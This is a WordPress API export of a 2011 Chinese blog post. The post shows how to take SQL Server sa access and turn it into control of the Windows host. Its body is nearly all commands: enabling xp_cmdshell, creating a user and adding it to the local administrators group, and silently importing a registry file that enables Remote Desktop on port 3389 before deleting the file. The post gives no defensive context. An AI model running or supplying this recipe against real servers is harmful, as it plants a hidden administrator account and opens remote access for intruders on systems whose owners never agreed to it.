{"id":1552,"date":"2011-03-24T19:38:48","date_gmt":"2011-03-24T11:38:48","guid":{"rendered":"http:\/\/blog.jixin.ntxz.net\/?p=1552"},"modified":"2011-03-24T19:38:49","modified_gmt":"2011-03-24T11:38:49","slug":"%e9%80%9a%e8%bf%87%e6%95%b0%e6%8d%ae%e5%ba%93sa%e7%94%a8%e6%88%b7%e6%b7%bb%e5%8a%a0windows%e7%94%a8%e6%88%b7%ef%bc%8c%e5%bc%80%e5%90%af%e8%bf%9c%e7%a8%8b%e6%a1%8c%e9%9d%a2%e8%bf%9e%e6%8e%a5","status":"publish","type":"post","link":"http:\/\/www.ntxz.net\/?p=1552","title":{"rendered":"\u901a\u8fc7\u6570\u636e\u5e93SA\u7528\u6237\u6dfb\u52a0WINDOWS\u7528\u6237\uff0c\u5f00\u542f\u8fdc\u7a0b\u684c\u9762\u8fde\u63a5"},"content":{"rendered":"

\u4e00\u3001\u4fee\u6539\u6570\u636e\u5e93\u914d\u7f6e\u8ba9\u4ed6\u53ef\u4ee5\u6267\u884c\u201cxp_cmdsheel\u201d\u8fc7\u7a0b<\/p>\n

EXEC sp_configure ‘show advanced options’, 1
\nGO
\n— To update the currently configured value for advanced options.
\nRECONFIGURE
\nGO
\n— To enable the feature.
\nEXEC sp_configure ‘xp_cmdshell’, 1
\nGO
\n— To update the currently configured value for this feature.
\nRECONFIGURE<\/p>\n

\u4e8c\u3001\u901a\u8fc7WINDOWS\u547d\u4ee4\u6dfb\u52a0\u8d85\u7ea7\u7528\u6237<\/p>\n

exec xp_cmdshell ‘net user username pwd \/add’<\/p>\n

exec xp_cmdshell ‘net localgroup administrators username \/add’<\/p>\n

\u4e09\u3001\u5f00\u6237\u8fdc\u7a0b\u684c\u9762\u8fde\u63a5\u670d\u52a1<\/p>\n

EXEC xp_cmdshell ‘echo Windows Registry Editor Version 5.00>3389.reg’
\nEXEC xp_cmdshell ‘echo [HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server]>>3389.reg’
\nEXEC xp_cmdshell ‘echo “fDenyTSConnections”=dword:00000000>>3389.reg’
\nEXEC xp_cmdshell ‘echo [HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\Wds\\rdpwd\\Tds\\tcp]>>3389.reg’
\nEXEC xp_cmdshell ‘echo “PortNumber”=dword:00000d3d>>3389.reg’
\nEXEC xp_cmdshell ‘echo [HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp]>>3389.reg’
\nEXEC xp_cmdshell ‘echo “PortNumber”=dword:00000d3d>>3389.reg’
\nEXEC xp_cmdshell ‘regedit \/s 3389.reg’
\nEXEC xp_cmdshell ‘del 3389.reg’<\/p>\n","protected":false},"excerpt":{"rendered":"

\u4e00\u3001\u4fee\u6539\u6570\u636e\u5e93\u914d\u7f6e\u8ba9\u4ed6\u53ef\u4ee5\u6267\u884c\u201cxp_cmdsheel\u201d\u8fc7\u7a0b EXEC sp_configure &#8216 […]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[7],"tags":[391,392,390,393],"class_list":{"0":"post-1552","1":"post","2":"type-post","3":"status-publish","4":"format-standard","5":"hentry","6":"category-fromnetwork","7":"tag-sa","8":"tag-sawindows","10":"tag-393"},"views":686,"_links":{"self":[{"href":"http:\/\/www.ntxz.net\/index.php?rest_route=\/wp\/v2\/posts\/1552","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/www.ntxz.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.ntxz.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.ntxz.net\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"http:\/\/www.ntxz.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1552"}],"version-history":[{"count":1,"href":"http:\/\/www.ntxz.net\/index.php?rest_route=\/wp\/v2\/posts\/1552\/revisions"}],"predecessor-version":[{"id":1553,"href":"http:\/\/www.ntxz.net\/index.php?rest_route=\/wp\/v2\/posts\/1552\/revisions\/1553"}],"wp:attachment":[{"href":"http:\/\/www.ntxz.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1552"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.ntxz.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1552"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.ntxz.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1552"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}